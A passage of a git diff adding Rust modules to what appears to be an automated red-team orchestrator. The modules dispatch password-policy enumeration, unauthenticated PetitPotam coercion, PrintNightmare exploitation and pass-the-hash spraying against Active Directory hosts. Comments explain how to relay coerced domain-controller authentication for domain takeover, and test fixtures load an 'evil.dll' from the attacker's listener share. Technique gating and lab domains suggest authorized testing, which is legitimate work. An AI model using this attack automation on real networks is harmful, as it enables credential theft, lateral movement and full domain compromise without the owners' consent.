let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_PASSWORD_POLICY, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(domain = %item.domain, "Password policy task deferred"); + } + Err(e) => { + warn!(err = %e, domain = %item.domain, "Failed to dispatch password policy enum"); + } + } + } + } +} + +struct PasswordPolicyWork { + dedup_key: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::orchestrator::state::StateInner; + + fn make_credential( + username: &str, + password: &str, + domain: &str, + ) -> ares_core::models::Credential { + ares_core::models::Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn dedup_key_format() { + let key = format!("policy:{}", "contoso.local"); + assert_eq!(key, "policy:contoso.local"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_PASSWORD_POLICY, "password_policy"); + } + + #[test] + fn payload_structure_has_correct_technique() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let payload = json!({ + "technique": "password_policy", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + assert_eq!(payload["technique"], "password_policy"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["domain"], "contoso.local"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = PasswordPolicyWork { + dedup_key: "policy:contoso.local".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + credential: cred, + }; + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.dedup_key, "policy:contoso.local"); + } + + #[test] + fn dedup_key_normalizes_domain() { + let key = format!("policy:{}", "CONTOSO.LOCAL".to_lowercase()); + assert_eq!(key, "policy:contoso.local"); + } + + #[test] + fn dedup_keys_differ_per_domain() { + let key1 = format!("policy:{}", "contoso.local"); + let key2 = format!("policy:{}", "fabrikam.local"); + assert_ne!(key1, key2); + } + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_password_policy_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_password_policy_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_domain_controllers_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_password_policy_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_single_domain_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_password_policy_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].dedup_key, "policy:contoso.local"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_multiple_domains_produces_work_for_each() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("svcacct", "Svc!Pass1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_password_policy_work(&state); + assert_eq!(work.len(), 2); + let domains: Vec<&str> = work.iter().map(|w| w.domain.as_str()).collect(); + assert!(domains.contains(&"contoso.local")); + assert!(domains.contains(&"fabrikam.local")); + } + + #[test] + fn collect_dedup_skips_already_processed_domain() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_PASSWORD_POLICY, "policy:contoso.local".into()); + let work = collect_password_policy_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_dedup_skips_processed_keeps_unprocessed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("svcacct", "Svc!Pass1", "fabrikam.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_PASSWORD_POLICY, "policy:contoso.local".into()); + let work = collect_password_policy_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "fabrikam.local"); + } + + #[test] + fn collect_prefers_same_domain_credential() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("fabuser", "Fab!Pass1", "fabrikam.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_password_policy_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "admin"); + assert_eq!(work[0].credential.domain, "contoso.local"); + } + + #[test] + fn collect_falls_back_to_first_credential() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + // Only fabrikam credential available + state + .credentials + .push(make_credential("fabuser", "Fab!Pass1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_password_policy_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "fabuser"); + assert_eq!(work[0].credential.domain, "fabrikam.local"); + } + + #[test] + fn collect_dedup_key_lowercased() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("CONTOSO.LOCAL".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_password_policy_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "policy:contoso.local"); + } +} diff --git a/ares-cli/src/orchestrator/automation/petitpotam_unauth.rs b/ares-cli/src/orchestrator/automation/petitpotam_unauth.rs new file mode 100644 index 00000000..e67ce2e8 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/petitpotam_unauth.rs @@ -0,0 +1,323 @@ +//! auto_petitpotam_unauth -- attempt unauthenticated PetitPotam (MS-EFSRPC) +//! coercion against DCs. +//! +//! On unpatched systems, EfsRpcOpenFileRaw allows unauthenticated NTLM coercion. +//! This was patched in August 2021 (KB5005413) but many environments still have +//! it open. The check requires no credentials — only a listener IP and DC target. +//! +//! If successful, the captured DC machine account NTLM auth can be relayed to +//! LDAP or ADCS for domain takeover. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect PetitPotam unauth work items from current state. +/// +/// Pure logic extracted from `auto_petitpotam_unauth` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. +fn collect_petitpotam_unauth_work(state: &StateInner, listener: &str) -> Vec { + state + .domain_controllers + .iter() + .filter(|(_, dc_ip)| dc_ip.as_str() != listener) + .filter(|(_, dc_ip)| { + let dedup_key = format!("petitpotam_unauth:{dc_ip}"); + !state.is_processed(DEDUP_PETITPOTAM_UNAUTH, &dedup_key) + }) + .map(|(domain, dc_ip)| PetitPotamWork { + dedup_key: format!("petitpotam_unauth:{dc_ip}"), + domain: domain.clone(), + dc_ip: dc_ip.clone(), + listener: listener.to_string(), + }) + .collect() +} + +/// Attempts unauthenticated PetitPotam against each DC once. +/// Interval: 45s. +pub async fn auto_petitpotam_unauth( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("petitpotam_unauth") { + continue; + } + + let listener = match dispatcher.config.listener_ip.as_deref() { + Some(ip) => ip.to_string(), + None => continue, + }; + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_petitpotam_unauth_work(&state, &listener) + }; + + for item in work { + let payload = json!({ + "technique": "petitpotam_unauthenticated", + "target_ip": item.dc_ip, + "domain": item.domain, + "listener_ip": item.listener, + }); + + let priority = dispatcher.effective_priority("petitpotam_unauth"); + match dispatcher + .throttled_submit("coercion", "coercion", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + "Unauthenticated PetitPotam coercion dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_PETITPOTAM_UNAUTH, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_PETITPOTAM_UNAUTH, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(dc = %item.dc_ip, "PetitPotam unauth deferred"); + } + Err(e) => { + warn!(err = %e, dc = %item.dc_ip, "Failed to dispatch PetitPotam unauth"); + } + } + } + } +} + +struct PetitPotamWork { + dedup_key: String, + domain: String, + dc_ip: String, + listener: String, +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::orchestrator::state::StateInner; + + #[test] + fn dedup_key_format() { + let key = format!("petitpotam_unauth:{}", "192.168.58.10"); + assert_eq!(key, "petitpotam_unauth:192.168.58.10"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_PETITPOTAM_UNAUTH, "petitpotam_unauth"); + } + + #[test] + fn skips_self_listener() { + let dc_ip = "192.168.58.50"; + let listener = "192.168.58.50"; + assert_eq!(dc_ip, listener); + } + + #[test] + fn no_cred_required() { + // PetitPotam unauth works without credentials + let _payload = serde_json::json!({ + "technique": "petitpotam_unauthenticated", + "target_ip": "192.168.58.10", + "listener_ip": "192.168.58.50", + }); + // No credential field needed + } + + #[test] + fn payload_structure_has_correct_technique() { + let payload = serde_json::json!({ + "technique": "petitpotam_unauthenticated", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "listener_ip": "192.168.58.50", + }); + assert_eq!(payload["technique"], "petitpotam_unauthenticated"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["domain"], "contoso.local"); + assert_eq!(payload["listener_ip"], "192.168.58.50"); + assert!(payload.get("credential").is_none()); + } + + #[test] + fn work_struct_construction() { + let work = PetitPotamWork { + dedup_key: "petitpotam_unauth:192.168.58.10".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + listener: "192.168.58.50".into(), + }; + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.listener, "192.168.58.50"); + } + + #[test] + fn dedup_key_based_on_dc_ip() { + let dc_ip = "192.168.58.10"; + let key = format!("petitpotam_unauth:{dc_ip}"); + assert_eq!(key, "petitpotam_unauth:192.168.58.10"); + } + + #[test] + fn dedup_keys_differ_per_dc() { + let key1 = format!("petitpotam_unauth:{}", "192.168.58.10"); + let key2 = format!("petitpotam_unauth:{}", "192.168.58.20"); + assert_ne!(key1, key2); + } + + #[test] + fn listener_excluded_from_targets() { + let dc_ip = "192.168.58.10"; + let listener = "192.168.58.50"; + assert_ne!(dc_ip, listener, "DC should not be the listener"); + + let self_target_dc = "192.168.58.50"; + assert_eq!(self_target_dc, listener, "Self-targeting should be skipped"); + } + + // --- collect_petitpotam_unauth_work tests --- + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_petitpotam_unauth_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_dcs_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_petitpotam_unauth_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_single_dc_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_petitpotam_unauth_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].dedup_key, "petitpotam_unauth:192.168.58.10"); + assert_eq!(work[0].listener, "192.168.58.50"); + } + + #[test] + fn collect_no_credentials_still_produces_work() { + // PetitPotam unauth does NOT require credentials + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_petitpotam_unauth_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + } + + #[test] + fn collect_skips_dc_matching_listener() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.50".into()); + let work = collect_petitpotam_unauth_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_dedup_skips_already_processed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state.mark_processed( + DEDUP_PETITPOTAM_UNAUTH, + "petitpotam_unauth:192.168.58.10".into(), + ); + let work = collect_petitpotam_unauth_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_multiple_dcs_produces_work_for_each() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + let work = collect_petitpotam_unauth_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 2); + let domains: Vec<&str> = work.iter().map(|w| w.domain.as_str()).collect(); + assert!(domains.contains(&"contoso.local")); + assert!(domains.contains(&"fabrikam.local")); + } + + #[test] + fn collect_dedup_skips_processed_keeps_unprocessed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state.mark_processed( + DEDUP_PETITPOTAM_UNAUTH, + "petitpotam_unauth:192.168.58.10".into(), + ); + let work = collect_petitpotam_unauth_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "fabrikam.local"); + } + + #[tokio::test] + async fn collect_via_shared_state() { + let shared = SharedState::new("test-op".into()); + { + let mut state = shared.write().await; + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + } + let state = shared.read().await; + let work = collect_petitpotam_unauth_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + } +} diff --git a/ares-cli/src/orchestrator/automation/print_nightmare.rs b/ares-cli/src/orchestrator/automation/print_nightmare.rs new file mode 100644 index 00000000..868eb8cf --- /dev/null +++ b/ares-cli/src/orchestrator/automation/print_nightmare.rs @@ -0,0 +1,477 @@ +//! auto_print_nightmare -- exploit CVE-2021-1675 (PrintNightmare) when +//! conditions are met. +//! +//! PrintNightmare exploits the Print Spooler service to achieve remote code +//! execution. Requires: valid credentials, target with Print Spooler running +//! (most Windows hosts by default), and a writable SMB share for the DLL. +//! +//! This module dispatches `printnightmare` against hosts where we have +//! credentials but NOT admin access — it's a priv esc technique. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect PrintNightmare work items from state (pure logic, no async). +fn collect_print_nightmare_work( + state: &StateInner, + listener: &str, + dll_path: &str, +) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + // Target all discovered hosts (DCs + member servers) + for host in &state.hosts { + let ip = &host.ip; + + // Skip if we already tried PrintNightmare on this host + if state.is_processed(DEDUP_PRINTNIGHTMARE, ip) { + continue; + } + + // Skip hosts where we already have admin (secretsdump handles those) + if state.is_processed(DEDUP_SECRETSDUMP, ip) { + continue; + } + + // Infer domain from hostname (e.g. "dc01.contoso.local" -> "contoso.local") + let domain = host + .hostname + .find('.') + .map(|i| host.hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + + let cred = state + .credentials + .iter() + .find(|c| !domain.is_empty() && c.domain.to_lowercase() == domain) + .or_else(|| state.credentials.first()); + + let cred = match cred { + Some(c) => c.clone(), + None => continue, + }; + + items.push(PrintNightmareWork { + target_ip: ip.clone(), + hostname: host.hostname.clone(), + domain: domain.clone(), + listener: listener.to_string(), + dll_path: dll_path.to_string(), + credential: cred, + }); + } + + items +} + +/// Monitors for PrintNightmare exploitation opportunities. +/// Only targets hosts we don't already have admin on. +/// Interval: 45s. +pub async fn auto_print_nightmare( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("printnightmare") { + continue; + } + + let listener = match dispatcher.config.listener_ip.as_deref() { + Some(ip) => ip.to_string(), + None => continue, // need listener for DLL hosting + }; + + // PrintNightmare requires a UNC path to a hosted malicious DLL. Without + // pre-staged SMB share + payload infra, dispatching is guaranteed to + // fail on the worker (cve_exploits.rs requires `dll_path`). Skip + // cleanly when not configured rather than emitting failed tasks. + let dll_path = match std::env::var("ARES_PRINTNIGHTMARE_DLL").ok() { + Some(path) if !path.is_empty() => path, + _ => continue, + }; + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_print_nightmare_work(&state, &listener, &dll_path) + }; + + for item in work { + let payload = json!({ + "technique": "printnightmare", + "target_ip": item.target_ip, + "hostname": item.hostname, + "domain": item.domain, + "listener_ip": item.listener, + "dll_path": item.dll_path, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("printnightmare"); + match dispatcher + .throttled_submit("exploit", "privesc", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + target = %item.target_ip, + hostname = %item.hostname, + "PrintNightmare (CVE-2021-1675) exploitation dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_PRINTNIGHTMARE, item.target_ip.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_PRINTNIGHTMARE, &item.target_ip) + .await; + } + Ok(None) => { + debug!(target = %item.target_ip, "PrintNightmare task deferred"); + } + Err(e) => { + warn!(err = %e, target = %item.target_ip, "Failed to dispatch PrintNightmare"); + } + } + } + } +} + +struct PrintNightmareWork { + target_ip: String, + hostname: String, + domain: String, + listener: String, + dll_path: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_PRINTNIGHTMARE, "printnightmare"); + } + + #[test] + fn dedup_key_is_target_ip() { + let ip = "192.168.58.22"; + assert_eq!(ip, "192.168.58.22"); + } + + #[test] + fn domain_from_hostname() { + let hostname = "dc01.contoso.local"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, "contoso.local"); + } + + #[test] + fn domain_from_bare_hostname() { + let hostname = "dc01"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, ""); + } + + #[test] + fn payload_structure_validation() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let payload = serde_json::json!({ + "technique": "printnightmare", + "target_ip": "192.168.58.22", + "hostname": "srv01.contoso.local", + "domain": "contoso.local", + "listener_ip": "192.168.58.50", + "dll_path": "\\\\192.168.58.50\\share\\evil.dll", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + + assert_eq!(payload["technique"], "printnightmare"); + assert_eq!(payload["target_ip"], "192.168.58.22"); + assert_eq!(payload["hostname"], "srv01.contoso.local"); + assert_eq!(payload["domain"], "contoso.local"); + assert_eq!(payload["listener_ip"], "192.168.58.50"); + assert_eq!(payload["dll_path"], "\\\\192.168.58.50\\share\\evil.dll"); + assert_eq!(payload["credential"]["username"], "admin"); + assert_eq!(payload["credential"]["password"], "P@ssw0rd!"); // pragma: allowlist secret + assert_eq!(payload["credential"]["domain"], "contoso.local"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "testuser".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let work = PrintNightmareWork { + target_ip: "192.168.58.22".into(), + hostname: "srv01.contoso.local".into(), + domain: "contoso.local".into(), + listener: "192.168.58.50".into(), + dll_path: "\\\\192.168.58.50\\share\\evil.dll".into(), + credential: cred, + }; + + assert_eq!(work.target_ip, "192.168.58.22"); + assert_eq!(work.hostname, "srv01.contoso.local"); + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.listener, "192.168.58.50"); + assert_eq!(work.credential.username, "testuser"); + } + + #[test] + fn domain_from_multi_level_hostname() { + let hostname = "web01.dmz.contoso.local"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, "dmz.contoso.local"); + } + + #[test] + fn domain_from_uppercase_hostname() { + let hostname = "DC01.CONTOSO.LOCAL"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, "contoso.local"); + } + + // --- collect_print_nightmare_work tests --- + + use crate::orchestrator::state::StateInner; + + fn make_cred(username: &str, domain: &str) -> ares_core::models::Credential { + ares_core::models::Credential { + id: uuid::Uuid::new_v4().to_string(), + username: username.to_string(), + password: "P@ssw0rd!".to_string(), // pragma: allowlist secret + domain: domain.to_string(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + } + } + + fn make_host(ip: &str, hostname: &str) -> ares_core::models::Host { + ares_core::models::Host { + ip: ip.to_string(), + hostname: hostname.to_string(), + os: String::new(), + roles: Vec::new(), + services: Vec::new(), + is_dc: false, + owned: false, + } + } + + #[test] + fn collect_empty_state_produces_no_work() { + let state = StateInner::new("test".into()); + let work = collect_print_nightmare_work( + &state, + "192.168.58.50", + "\\\\192.168.58.50\\share\\evil.dll", + ); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_produces_no_work() { + let mut state = StateInner::new("test".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + let work = collect_print_nightmare_work( + &state, + "192.168.58.50", + "\\\\192.168.58.50\\share\\evil.dll", + ); + assert!(work.is_empty()); + } + + #[test] + fn collect_host_with_cred_produces_work() { + let mut state = StateInner::new("test".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + state.credentials.push(make_cred("admin", "contoso.local")); + let work = collect_print_nightmare_work( + &state, + "192.168.58.50", + "\\\\192.168.58.50\\share\\evil.dll", + ); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.22"); + assert_eq!(work[0].hostname, "srv01.contoso.local"); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].listener, "192.168.58.50"); + assert_eq!(work[0].dll_path, "\\\\192.168.58.50\\share\\evil.dll"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_skips_already_processed_printnightmare() { + let mut state = StateInner::new("test".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + state.credentials.push(make_cred("admin", "contoso.local")); + state.mark_processed(DEDUP_PRINTNIGHTMARE, "192.168.58.22".into()); + let work = collect_print_nightmare_work( + &state, + "192.168.58.50", + "\\\\192.168.58.50\\share\\evil.dll", + ); + assert!(work.is_empty()); + } + + #[test] + fn collect_skips_already_secretsdumped_host() { + let mut state = StateInner::new("test".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + state.credentials.push(make_cred("admin", "contoso.local")); + state.mark_processed(DEDUP_SECRETSDUMP, "192.168.58.22".into()); + let work = collect_print_nightmare_work( + &state, + "192.168.58.50", + "\\\\192.168.58.50\\share\\evil.dll", + ); + assert!(work.is_empty()); + } + + #[test] + fn collect_prefers_same_domain_credential() { + let mut state = StateInner::new("test".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + state + .credentials + .push(make_cred("fab_user", "fabrikam.local")); + state + .credentials + .push(make_cred("con_user", "contoso.local")); + let work = collect_print_nightmare_work( + &state, + "192.168.58.50", + "\\\\192.168.58.50\\share\\evil.dll", + ); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "con_user"); + } + + #[test] + fn collect_falls_back_to_first_cred_for_bare_hostname() { + let mut state = StateInner::new("test".into()); + state.hosts.push(make_host("192.168.58.22", "srv01")); + state + .credentials + .push(make_cred("fallback", "contoso.local")); + let work = collect_print_nightmare_work( + &state, + "192.168.58.50", + "\\\\192.168.58.50\\share\\evil.dll", + ); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "fallback"); + assert_eq!(work[0].domain, ""); + } + + #[test] + fn collect_multiple_hosts_mixed() { + let mut state = StateInner::new("test".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + state + .hosts + .push(make_host("192.168.58.30", "ws01.fabrikam.local")); + state.credentials.push(make_cred("admin", "contoso.local")); + // Mark second host as already secretsdumped + state.mark_processed(DEDUP_SECRETSDUMP, "192.168.58.30".into()); + let work = collect_print_nightmare_work( + &state, + "192.168.58.50", + "\\\\192.168.58.50\\share\\evil.dll", + ); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.22"); + } + + #[test] + fn dedup_key_format_validation() { + // PrintNightmare uses the raw target_ip as dedup key + let ip = "192.168.58.10"; + // The dedup key is just the IP itself + assert_eq!(ip, "192.168.58.10"); + assert!(!ip.contains(':')); + } +} diff --git a/ares-cli/src/orchestrator/automation/pth_spray.rs b/ares-cli/src/orchestrator/automation/pth_spray.rs new file mode 100644 index 00000000..3d6083eb --- /dev/null +++ b/ares-cli/src/orchestrator/automation/pth_spray.rs @@ -0,0 +1,800 @@ +//! auto_pth_spray -- pass-the-hash spray using dumped NTLM hashes. +//! +//! After secretsdump extracts NTLM hashes, this module sprays them across +//! hosts to find additional admin access. Uses netexec/crackmapexec with +//! NTLM hashes instead of passwords for lateral movement validation. +//! +//! This is distinct from credential_reuse (which tests passwords) and +//! secretsdump (which dumps from owned hosts). PTH spray tests hash-based +//! auth against non-owned hosts. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Dispatches pass-the-hash spray against non-owned hosts using dumped NTLM hashes. +/// Interval: 45s. +pub async fn auto_pth_spray(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("pth_spray") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + match collect_pth_work(&state) { + Some(items) => items, + None => continue, + } + }; + + // Limit to 5 per cycle to avoid overwhelming the throttler + for item in work.into_iter().take(5) { + let payload = json!({ + "technique": "pass_the_hash", + "target_ip": item.target_ip, + "hostname": item.hostname, + "username": item.username, + "ntlm_hash": item.ntlm_hash, + "domain": item.domain, + "protocol": "smb", + }); + + let priority = dispatcher.effective_priority("pth_spray"); + match dispatcher + .throttled_submit("lateral", "lateral", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + host = %item.target_ip, + user = %item.username, + "PTH spray dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_PTH_SPRAY, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_PTH_SPRAY, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(host = %item.target_ip, "PTH spray deferred"); + } + Err(e) => { + warn!(err = %e, host = %item.target_ip, "Failed to dispatch PTH spray"); + } + } + } + } +} + +/// Collects PTH spray work items from state. Returns `None` when there are no +/// NTLM hashes (caller should skip the cycle). +fn collect_pth_work(state: &StateInner) -> Option> { + // Need NTLM hashes + let 